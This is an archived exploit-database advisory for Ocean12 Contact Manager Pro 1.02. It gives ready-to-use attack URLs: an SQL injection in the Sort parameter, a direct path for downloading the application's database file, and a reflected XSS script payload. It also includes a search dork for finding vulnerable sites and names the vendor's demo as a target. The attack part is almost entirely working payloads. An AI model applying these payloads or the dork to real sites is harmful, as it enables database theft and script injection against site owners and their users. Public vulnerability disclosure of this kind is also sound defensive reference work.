Ocean12 Contact Manager Pro (SQL/XSS/DDV) Multiple Vulnerabilities



EDB-ID: 7244 CVE: 2008-6369OSVDB-ID: 50316
Author: Pouya_ServerPublished: 2008-11-27Verified: Verified
Exploit Code:   DownloadVulnerable App:   N/A

Rating

(0.0)
Prev Home Next
#########################################################
---------------------------------------------------------
Portal Name: Ocean12 Contact Manager Pro
Version : 1.02
Vendor : http://ocean12tech.com/products/contact
Dork: Maintained with the Ocean12 Contact Manager Pro v1.02
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DDV,XSS,SQL)
---------------------------------------------------------
#########################################################
[SQL]:
http://site.com/path/default.asp?DisplayFormat=Card&Sort=[SQL]
[Database Disclosure Vulnerability]:
http://site.com/path/o12con.mdb
[XSS]:
http://site.com/path/?DisplayFormat=>"><ScRiPt>alert(1369)%3B</ScRiPt>&Action=Pouya_Server
---------------------------------
Victem :
http://ocean12tech.com/products/contact/demo
# milw0rm.com [2008-11-27]






Comments

No comments so far